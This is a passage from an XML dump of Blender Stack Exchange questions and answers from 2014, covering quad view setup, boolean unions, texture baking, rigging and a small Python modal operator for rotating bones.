what you were talking about.&lt;/p&gt;&#xA;&lt;h2&gt;EDIT: Check Blender Artist thread to get updated instructions as they come&lt;/h2&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-05T16:39:35.903" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18312" PostTypeId="1" CreationDate="2014-10-28T20:29:22.630" Score="1" ViewCount="97" Body="&lt;p&gt;I am working on raytraced engine, for faster ray queries I need my exported models contain information on their triangle's adjacency. How can I export my models along with triangle(face) adjacency information? &lt;em&gt;i.e. triangle 5 is neighbour of triangles 2, 6 and 8.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5252" LastActivityDate="2014-10-28T20:29:22.630" Title="How to export model's mesh with adjacency information" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-28T23:05:23.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="18316" PostTypeId="2" ParentId="14508" CreationDate="2014-10-28T20:42:16.173" Score="2" Body="&lt;p&gt;If you go into edit mode and press &quot;n&quot; look in the mesh display area and you'll see an option for displaying the lenths of the edges.  If you scale in object mode the values of the edges don't change. If you scale in edit mode they do. If you scale in object mode, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and accept the scale. Now your edge lengths reflects the new dimension. This may be why you see no change when you scale the domain. Just guessing, but I think it may help.&lt;/p&gt;&#xA;" OwnerUserId="7703" LastEditorUserId="5705" LastEditDate="2015-01-26T23:00:40.620" LastActivityDate="2015-01-26T23:00:40.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18317" PostTypeId="2" ParentId="17969" CreationDate="2014-10-29T01:01:08.103" Score="1" Body="&lt;p&gt;To create something like that initially, use &lt;em&gt;individual inset&lt;/em&gt; (&lt;kbd&gt;I&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3uKJt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the geometry is created, you can resize it with &lt;em&gt;Edge slide&lt;/em&gt; (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nUZaJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the direction edges are slid is defined by what side the cursor is on when the operator is called, so if you want to make all the edges go in the same direction, make sure you have the cursor off to one side when you press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-29T01:01:08.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18318" PostTypeId="1" CreationDate="2014-10-29T01:06:39.147" Score="3" ViewCount="1480" Body="&lt;p&gt;I envision creating a 3D model but in the pixel art, 16-bit style. Like the old Mario or Zelda games  Not just outlined liked this but the entire model. I searched for ways to do this but i can't seem to find something like this. If someone could help me find a way to do this i would greatly appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="7744" LastActivityDate="2014-10-29T22:18:17.863" Title="Creating 3D pixel modeling?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18319" PostTypeId="1" CreationDate="2014-10-29T02:07:33.193" Score="2" ViewCount="457" Body="&lt;p&gt;I found out that the 'active variable of a strip is read-only.&#xA;Is there another way to activate and/or deactivate a strip with python?&#xA;Maybe a predefined operator which I can use?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2015-04-05T21:57:58.963" Title="Make strip active or deactivate it in python" Tags="&lt;python&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18320" PostTypeId="1" CreationDate="2014-10-29T02:17:13.640" Score="22" ViewCount="26935" Body="&lt;p&gt;How do I change the TOP ortho view to BACK ortho view for my BACK image? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;check out the pic I uploaded to see what I'm talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oLTRe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7746" LastEditorDisplayName="user1853" LastEditDate="2014-10-29T03:31:43.390" LastActivityDate="2020-07-27T16:01:54.933" Title="How to change the default views of quad view?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18321" PostTypeId="1" CreationDate="2014-10-29T02:50:45.543" Score="1" ViewCount="497" Body="&lt;p&gt;Im making a Boeing 787 model and I just finished rigging it however I thought that maybe I would go deeper and try make a custom panel to control the rig. I've got the panel itself done using one of the default templates but I'm a complete noob at scripting new text.&lt;br&gt;&#xA;Basically what I want to do is use a code to create a button in the panel, and when pressed, it will rotate one of the bones used for rigging, say for example the rudder. I really need help with this. By the way, Ive never seen it done but what would be even better would be a slider. This would mean I have more control over the rotation.&lt;/p&gt;&#xA;" OwnerUserId="7747" LastEditorUserId="2217" LastEditDate="2014-10-29T03:33:53.383" LastActivityDate="2014-12-28T05:23:16.337" Title="How do I rotate an object with a custom button and panel using python scripting?" Tags="&lt;python&gt;&lt;interface&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18322" PostTypeId="2" ParentId="18320" CreationDate="2014-10-29T02:55:11.700" Score="29" Body="&lt;p&gt;Quad view can be unlocked and customized.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;For blender 2.8&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select quad view.&lt;/p&gt;&#xA;&lt;p&gt;(&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt; or select View &amp;gt; Area &amp;gt; Toggle Quad View&lt;/p&gt;&#xA;&lt;p&gt;Open the properties panel on the right and unselect  &amp;quot;lock&amp;quot;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8VJFo.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8VJFo.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;To customize the view&lt;/strong&gt; move the mouse over to the quad you want to alter and make it whatever &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View#Aligning_the_View&quot; rel=&quot;nofollow noreferrer&quot;&gt;view&lt;/a&gt; you want.&lt;/p&gt;&#xA;&lt;p&gt;In this case press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 1&lt;/kbd&gt; for back view. (and &lt;kbd&gt;Numpad 5&amp;lt;&lt;/kbd&gt; to toggle ortho or perspective).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yTaWk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note: Any changes on quad view are lost once you go back to single view&lt;/strong&gt;: The next time you switch to quad view it will revert to the default configuration.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;For older versions (2.7x) of blender&lt;/p&gt;&#xA;&lt;p&gt;While on &lt;strong&gt;Quad view&lt;/strong&gt; (&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt;) press &lt;kbd&gt;N&lt;/kbd&gt; to show the &lt;strong&gt;Properties panel&lt;/strong&gt; on the right side. In the &lt;strong&gt;Display tab&lt;/strong&gt; uncheck the &lt;strong&gt;Lock&lt;/strong&gt; box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qvoy4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;When you are satisfied you can lock the view again to prevent accidental changes.&lt;/p&gt;&#xA;&lt;p&gt;To reverse the view on quad view. Hover over the view you want to change and press &lt;strong&gt;&lt;kbd&gt;Numpad 9 &lt;/kbd&gt;&lt;/strong&gt; to reverse the view. No need to press unlock&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FMuMP.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="92768" LastEditorDisplayName="user1853" LastEditDate="2020-07-27T16:01:54.933" LastActivityDate="2020-07-27T16:01:54.933" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18323" PostTypeId="1" CreationDate="2014-10-29T03:27:34.713" Score="2" ViewCount="1421" Body="&lt;p&gt;I'm trying to rig my character and I don't know how to prevent disconnection between 2 objects when in &lt;em&gt;Pose mode&lt;/em&gt;. The problem is shown in the image below. How do I make the foot stick to the joint (ball) no matter where I move the IK?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xtXU7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7749" LastEditorUserId="3078" LastEditDate="2015-01-06T19:14:40.453" LastActivityDate="2015-01-06T19:14:40.453" Title="How to prevent disconnection between two objects, while rigging?" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18324" PostTypeId="2" ParentId="18321" CreationDate="2014-10-29T03:46:41.537" Score="1" Body="&lt;p&gt;One way might be a modal operator which tracks mouse movements and applies it to pose bone rotation. The operator modal template (Goto Scripting View -&gt; Templates -&gt; Python -&gt; Operator modal) should be a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a small example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import IntProperty, FloatProperty&#xA;&#xA;class ModalOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Rotate a bone with the mouse, example&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal Operator&quot;&#xA;&#xA;    first_mouse_x = IntProperty()&#xA;    first_value = FloatProperty()&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'MOUSEMOVE':&#xA;            delta = self.first_mouse_x - event.mouse_x&#xA;            self.pbone.rotation_euler.x = self.first_value + delta * 0.1&#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            return {'FINISHED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        self.first_mouse_x = event.mouse_x&#xA;        self.pbone = context.selected_pose_bones[0] # &amp;lt;- put your bone here instead&#xA;        self.first_value = self.pbone.rotation_euler.x&#xA;&#xA;        context.window_manager.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.modal_operator('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then add your operator to your panel&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-10-29T03:46:41.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18325" PostTypeId="2" ParentId="16703" CreationDate="2014-10-29T04:52:15.777" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.crazybump.com/&quot; rel=&quot;nofollow&quot;&gt;CrazyBump&lt;/a&gt; comes very close.  Just open a photograph and it'll make a pretty good guess at the bump/normal map as well as the specularity map and occlusion map.  There is some manual tuning available, but the initial guess is quite good.&lt;/p&gt;&#xA;" OwnerUserId="6452" LastActivityDate="2014-10-29T04:52:15.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18326" PostTypeId="1" CreationDate="2014-10-29T05:55:23.610" Score="1" ViewCount="4934" Body="&lt;p&gt;I am trying to bake the texture of a simple bottle using cycles. The node set up is shown in the image. The transparency never bakes on to the image and always shows up as opaque. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nX30U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to export the mesh and the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how this can be fixed? &lt;/p&gt;&#xA;" OwnerUserId="7739" LastEditorUserId="241" LastEditDate="2014-10-30T13:47:56.243" LastActivityDate="2014-10-30T13:47:56.243" Title="How to bake glass material in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;transparency&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18330" PostTypeId="2" ParentId="13801" CreationDate="2014-10-29T09:03:46.407" Score="6" Body="&lt;p&gt;I think I figured this one out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the rendering of the default interface FONT that causes the lag. It seems it has to do with the file size of the .ttf used by defualt in Blender (~5MB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in User Preferences-&gt;System-&gt;Interface Font, try switching to a .ttf font with a small file size. I used Lucida Sans at 53kb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not certain as to why the font's file size matters, but IT WORKS.&lt;/p&gt;&#xA;" OwnerUserId="7751" LastActivityDate="2014-10-29T09:03:46.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18331" PostTypeId="1" CreationDate="2014-10-29T09:47:54.513" Score="12" ViewCount="2174" Body="&lt;p&gt;How does blender calculate a poseBone.matrix through the hierarchy chain? &#xA;A bone's final matrix is a transformation matrix which defines the bone in armature-space in the current pose (M1). I want to calculate this from other matrices, given a really simple armature with two bones, the second bone parented to the first.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;armature = bpy.data.objects[&quot;Armature&quot;]&#xA;M0 = armature.pose.bones[0].matrix       #final matrix for the first bone&#xA;M1 = armature.pose.bones[1].matrix       #final matrix for the second bone&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A bone's bind-pose or rest-pose matrix is its transformation from the armature origin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;l0 = armature.data.bones[0].matrix_local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can calculate the local rest matrix relative to the bone's parent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;l1 = armature.data.bones[1].matrix_local * l0.copy().inverted()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can seem to calculate the final matrix of the first bone (M0) like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b0 = armature.pose.bones[0].matrix_basis    #local bone transform&#xA;l0*b0    #this equals M0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I want to calculate the second bone's matrix, which is parented to the first, I can not get the same M1 matrix back while trying this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b1 = armature.pose.bones[1].matrix_basis    #local bone transform&#xA;l0*b0*l1*b1    #I wanted to go through the parent chain like this but couldn't get back M1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the resulting matrix has the rotation part of M1, but the translation part is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I want to do this to see how to do a bone hierarchy system for myself, but I seem to be missing something.&lt;/p&gt;&#xA;" OwnerUserId="2531" LastActivityDate="2021-05-08T18:00:20.320" Title="How does blender calculate poseBone.matrix?" Tags="&lt;scripting&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18332" PostTypeId="2" ParentId="16434" CreationDate="2014-10-29T10:46:20.883" Score="0" Body="&lt;p&gt;What you could do is put the material on a cube in the original file. Maybe pack the file if it includes images. Then copy-paste the cube to an empty blend file and share this. I think this would be about the minimal space requirement.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2014-10-29T10:46:20.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18333" PostTypeId="1" CreationDate="2014-10-29T13:02:32.250" Score="2" ViewCount="91" Body="&lt;p&gt;I am about to create an Animation of a cloth-hanger, which is meant to become a »real« one, because it should be a rigid body in a physic simulation. The cloth-hanger should hang a real one does and its behaviour should come relatively close to reality. Please see the image below, to get a better idea of the idea behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u6ivi.png&quot; alt=&quot;cloth-hanger&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some details of the model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Lz5N.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AZw3w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to join the hook and the bar in such a way that the bar can rotate around the hook, but not translate. So my first question is: How can I establish such a joint?&lt;/p&gt;&#xA;" OwnerUserId="7753" LastEditorUserId="12" LastEditDate="2014-10-30T21:26:45.457" LastActivityDate="2014-10-30T21:26:45.457" Title="Have rigid body animation only rotate and not translate" Tags="&lt;animation&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2014-10-30T21:26:10.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="18334" PostTypeId="2" ParentId="13801" CreationDate="2014-10-29T14:14:44.960" Score="2" Body="&lt;p&gt;After reading &lt;a href=&quot;https://blender.stackexchange.com/a/18330/2217&quot;&gt;ItsTheFont's&lt;/a&gt; answer, I played around with the settings and found that the &lt;em&gt;Window Draw Method&lt;/em&gt; makes a big difference as well. It can be found at &lt;em&gt;User Preferences&lt;/em&gt; &gt; &lt;em&gt;System&lt;/em&gt; &gt; &lt;em&gt;Window Draw Method&lt;/em&gt;. Setting it to &lt;em&gt;Overlap&lt;/em&gt; was best for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;em&gt;Interface Font&lt;/em&gt; setting is now set to OpenSans Regular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A image showing where to find the &lt;em&gt;Window Draw Method&lt;/em&gt; and &lt;em&gt;Interface Font&lt;/em&gt; settings.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OGEjm.png&quot; alt=&quot;User Preferences&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-10-29T14:14:44.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18335" PostTypeId="2" ParentId="17940" CreationDate="2014-10-29T14:36:34.603" Score="1" Body="&lt;p&gt;I was able to accomplish this using render layers and compositing.  Much simpler to use materials though, IMHO. I think the results are better too. &lt;/p&gt;&#xA;" OwnerUserId="7703" LastActivityDate="2014-10-29T14:36:34.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18336" PostTypeId="2" ParentId="18292" CreationDate="2014-10-29T14:42:47.763" Score="2" Body="&lt;p&gt;I have seen this issue when using a panel in the properties window to alter the active object. It would be related to the context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easy fix is to place your panel in the 3dview. This is just a matter of changing the panel's &lt;code&gt;bl_space_type&lt;/code&gt; to &lt;code&gt;VIEW_3D&lt;/code&gt; and &lt;code&gt;bl_region_type&lt;/code&gt; to &lt;code&gt;UI&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that you can override the context to get it working, &lt;a href=&quot;https://blender.stackexchange.com/a/6912/935&quot;&gt;this answer explains that&lt;/a&gt; and links to more information.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-10-29T14:42:47.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18337" PostTypeId="1" AcceptedAnswerId="18341" CreationDate="2014-10-29T15:06:34.050" Score="9" ViewCount="4987" Body="&lt;p&gt;I want to Boolean union a cube (“A”) and a sphere (“B”) to created unified object (“U”). “U” should be a single mesh object with the faces of the new object inheriting the material properties of the corresponding faces from both &quot;A&quot; and &quot;B&quot; as explained in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lCOWI.png&quot; alt=&quot;Documentation of boolean union &quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to recreate this my unified object &quot;U&quot; ends up with either just the material from &quot;A&quot; or &quot;B&quot; but not both. I.e I want it to end up still yellow and red rather than totally red or totally yellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/etlCY.png&quot; alt=&quot;Before Union&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rBzMj.png&quot; alt=&quot;After union and moved to reveal &amp;quot;U&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My process is simply create new mesh objects, assign separate materials, change the Diffuse property of each material, then go to add modifier &gt; boolean &gt; union &gt; apply. Am I doing it wrong?&lt;/p&gt;&#xA;" OwnerUserId="7755" LastEditorUserId="2217" LastEditDate="2014-10-29T15:30:12.387" LastActivityDate="2015-03-23T00:05:24.677" Title="How can I preserve both materials from two meshes that undergo boolean union?" Tags="&lt;modeling&gt;&lt;materials&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18338" PostTypeId="1" CreationDate="2014-10-29T15:26:34.970" Score="1" ViewCount="164" Body="&lt;p&gt;I'm building a simple scene with lots of cylinders (tubes) that I might want to 3d-print later on. Now I'm wondering how to retain some flexibility when it comes to the resolution, i.e. the number of vertices used to construct one cylinder.&#xA;If I use to many, the performance suffers and if I use to few, it might not be possible to easily recover the roundness later on after I used boolean modifiers, I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the usual process with Blender and what do you recommend?&lt;/p&gt;&#xA;" OwnerUserId="7756" LastEditorUserId="2217" LastEditDate="2014-10-29T15:31:29.773" LastActivityDate="2014-10-29T17:01:07.210" Title="Staying flexible in the level of detail?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18340" PostTypeId="2" ParentId="18219" CreationDate="2014-10-29T15:48:45.063" Score="4" Body="&lt;p&gt;In my opinion, there are two viable options open to you, one is to use the boids particle simulation with animated armatures, but this would limit you to a single animation (for Minecraft characters this might indeed work). Note that the armature object being replicated by the particle system needs to be on the same layer as the particle simulation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the second option is to use the Animation Replicator with Offset addon from blenderdiplom on a bunch of different models using follow curve modifiers.. again, this would limit you to one animation. There's a handy tutorial on their site showing how to use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both instances you could have replicate small numbers of characters but use more than one particle system/curves with different animations for a bit of variety, but it would take a LOT of work. In either methods, there would be no way to have opposing teams react to each other and trigger 'fight' animations, for instance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it's Minecraft and the animation would most likely be quite simple, my suggestion would be use boids (check out David Ward's youtube channel, he has a video tutorial showing this exact thing, then when you have a good basic crowd, you could Apply the particle modifiers and then manually add the arm swinging/fighting/dying animations. Like I say, for 200 characters this would be a lot of work, but if working with actions, the NLA editor would save you a bit of work here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="7758" LastActivityDate="2014-10-29T15:48:45.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18341" PostTypeId="2" ParentId="18337" CreationDate="2014-10-29T15:55:35.530" Score="14" Body="&lt;p&gt;I've posted this question elsewhere and got this answer &quot;The object with the boolean modifier needs to have both materials in its material list&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried exactly that, first when I make my two objects with separate materials, I make sure the second mesh also lists the material of the other object, even though it is not in use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q8jO9.png&quot; alt=&quot;material list&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then when I request that second mesh to be boolean unified to the other mesh, the result is multicolor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dI2RT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That object in the screenshot is definitely a single mesh with two materials. So that seems the way to do it. &lt;/p&gt;&#xA;" OwnerUserId="7755" LastActivityDate="2014-10-29T15:55:35.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18343" PostTypeId="1" CreationDate="2014-10-29T16:43:28.357" Score="4" ViewCount="1675" Body="&lt;p&gt;I have two mesh objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to extrude one object in such a way that it traces another object.&#xA;I could have sworn I'd seen this done in a tutorial once, but I can't remember how and can't find it via googling or other Stack&amp;nbsp;Exchange posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eLBIK.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image, I've extruded once along the edge and once continuing away from the loop. I'd like to have each extrusion match the vertices of the loop in both position and rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the possible duplicate, and it's based on both objects being curves. I was able to convert the loop to a curve, but not the circle quarter. I'm not sure why. And trying to recreate it as a curve opened another can of worms I'm too inexperienced to deal with.&lt;/p&gt;&#xA;" OwnerUserId="2800" LastEditorUserId="1224" LastEditDate="2016-11-22T21:12:10.297" LastActivityDate="2020-06-19T01:03:10.200" Title="Extrude along an edge loop by vertex" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18345" PostTypeId="2" ParentId="18338" CreationDate="2014-10-29T17:01:07.210" Score="1" Body="&lt;p&gt;While you're indecisive regarding the required resolution of your mesh you could use a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow noreferrer&quot;&gt;sub division surface modifier&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/avF36.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On cylinders you would need to add support loops to avoid distorsion of the mesh. You could can be add the support loops by selecting both edge-rings and bevel (&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;B&lt;/kbd&gt;). Alternatively to the support loops you could try an &lt;em&gt;Edge split modifier&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-29T17:01:07.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18346" PostTypeId="1" CreationDate="2014-10-29T18:15:41.927" Score="8" ViewCount="22659" Body="&lt;p&gt;So, as a newbie relatively new to blender, I started doing some texture mapping (blender internal Render). I created a texture for the main object and a couple of transparent decals to decorate it. (basic effects made in GIMP). Simple stuff, just to know how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After unwrapping, having 2 UV maps made, creating both new material and textures, enabling UV mapping coordination I always end up with:&#xA; - all - 1 faces of the cube being covered nicely in the main texture&#xA; - 1 face covered in blank material with a decal in the middle of it&#xA; - the whole thing partly coated by a huge &quot;stain&quot; of a decal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the problem is that I can't layer textures correctly. Is there a way to have one texture covering everything and more transparent ones on top of it?&#xA;I am working on a bigger project right now and having this ability would be useful &lt;/p&gt;&#xA;" OwnerUserId="7763" LastEditorUserId="15159" LastEditDate="2015-07-26T06:27:34.063" LastActivityDate="2016-02-20T15:43:25.043" Title="Texture mapping with multiple UV maps" 